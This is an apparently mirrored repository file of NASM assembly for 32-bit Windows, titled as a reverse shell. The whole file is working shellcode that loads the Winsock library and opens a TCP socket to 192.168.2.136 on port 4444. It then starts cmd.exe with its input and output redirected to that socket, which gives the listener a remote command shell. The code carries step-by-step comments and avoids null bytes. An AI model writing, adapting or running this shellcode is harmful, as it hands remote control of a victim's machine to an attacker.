mirror of
https://github.com/sh3llc0d3r1337/windows_reverse_shell_1
synced 2026-06-08 17:25:35 +00:00
Viktor Horvath
168 lines
2.5 KiB
NASM
168 lines
2.5 KiB
NASM
|
|
global _start
|
|
|
|
section .text
|
|
|
|
_start:
|
|
|
|
; Get the windows socket dll name
|
|
xor eax, eax
|
|
mov ax, 0x3233 ; '\0\023'
|
|
push eax
|
|
push dword 0x5f327377 ; '_2sw'
|
|
push esp
|
|
|
|
; LoadLibrary
|
|
mov ebx, 0x75982864 ; LoadLibraryA(libraryname)
|
|
call ebx
|
|
mov ebp, eax ; winsocket dll handle is saved into ebp
|
|
|
|
|
|
|
|
; Get the funtion name: WSAStartUp
|
|
xor eax, eax
|
|
mov ax, 0x7075 ; '\0\0up'
|
|
push eax
|
|
push 0x74726174 ; 'trat'
|
|
push 0x53415357 ; 'SASW'
|
|
push esp
|
|
|
|
push ebp
|
|
|
|
mov ebx, 0x75981837 ; GetProcAddress(hmodule, functionname)
|
|
call ebx
|
|
|
|
; CAll WSAStartUp
|
|
xor ebx, ebx
|
|
mov bx, 0x0190
|
|
sub esp, ebx
|
|
push esp
|
|
push ebx
|
|
|
|
call eax ; WSAStartUp(MAKEWORD(2, 2), wsadata_pointer)
|
|
|
|
|
|
|
|
; Get the function name: WSASocketA
|
|
xor eax, eax
|
|
mov ax, 0x4174 ; '\0\0At'
|
|
push eax
|
|
push 0x656b636f ; 'ekco'
|
|
push 0x53415357 ; 'SASW'
|
|
push esp
|
|
|
|
push ebp
|
|
|
|
mov ebx, 0x75981837 ; GetProcAddress(hmodule, functionname)
|
|
call ebx
|
|
|
|
; Call WSASocket
|
|
xor ebx, ebx
|
|
push ebx
|
|
push ebx
|
|
push ebx
|
|
xor ecx, ecx
|
|
mov cl, 6
|
|
push ecx
|
|
inc ebx
|
|
push ebx
|
|
inc ebx
|
|
push ebx
|
|
|
|
call eax ; WSASocket(AF_INET = 2, SOCK_STREAM = 1,
|
|
; IPPROTO_TCP = 6, NULL,
|
|
; (unsigned int)NULL, (unsigned int)NULL);
|
|
|
|
xchg eax, edi ; Save the socket handle into edi
|
|
|
|
|
|
|
|
; Get the function name: connect
|
|
mov ebx, 0x74636565 ; '\0tce'
|
|
shr ebx, 8
|
|
push ebx
|
|
push 0x6e6e6f63 ; 'nnoc'
|
|
push esp
|
|
|
|
push ebp
|
|
|
|
mov ebx, 0x75981837 ; GetProcAddress(hmodule, functionname)
|
|
call ebx
|
|
|
|
; Call connect
|
|
push 0x8802a8c0 ; 0xc0, 0xa8, 0x02, 0x88 = 192.168.2.136
|
|
push word 0x5c11 ; 0x115c = port 4444
|
|
xor ebx, ebx
|
|
add bl, 2
|
|
push word bx
|
|
mov edx, esp
|
|
|
|
push byte 16
|
|
push edx
|
|
push edi
|
|
|
|
call eax ; connect(s1, (SOCKADDR*) &hax, sizeof(hax) = 16);
|
|
|
|
|
|
|
|
; Call CreateProcess with redirected streams
|
|
mov edx, 0x646d6363
|
|
shr edx, 8
|
|
push edx
|
|
mov ecx, esp
|
|
|
|
xor edx, edx
|
|
|
|
sub esp, 16
|
|
mov ebx, esp ; PROCESS_INFORMATION
|
|
|
|
push edi
|
|
push edi
|
|
push edi
|
|
push edx
|
|
push edx
|
|
xor eax, eax
|
|
inc eax
|
|
rol eax, 8
|
|
inc eax
|
|
push eax
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
xor eax, eax
|
|
add al, 44
|
|
push eax
|
|
mov eax, esp ; STARTUP_INFO
|
|
|
|
push ebx ; PROCESS_INFORMATION
|
|
push eax ; STARTUP_INFO
|
|
push edx
|
|
push edx
|
|
push edx
|
|
xor eax, eax
|
|
inc eax
|
|
push eax
|
|
push edx
|
|
push edx
|
|
push ecx
|
|
push edx
|
|
|
|
|
|
mov ebx, 0x75932062 ; CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
|
|
call ebx
|
|
|
|
|
|
|
|
end:
|
|
xor edx, edx
|
|
push eax
|
|
mov eax, 0x75982acf ; ExitProcess(exitcode)
|
|
call eax
|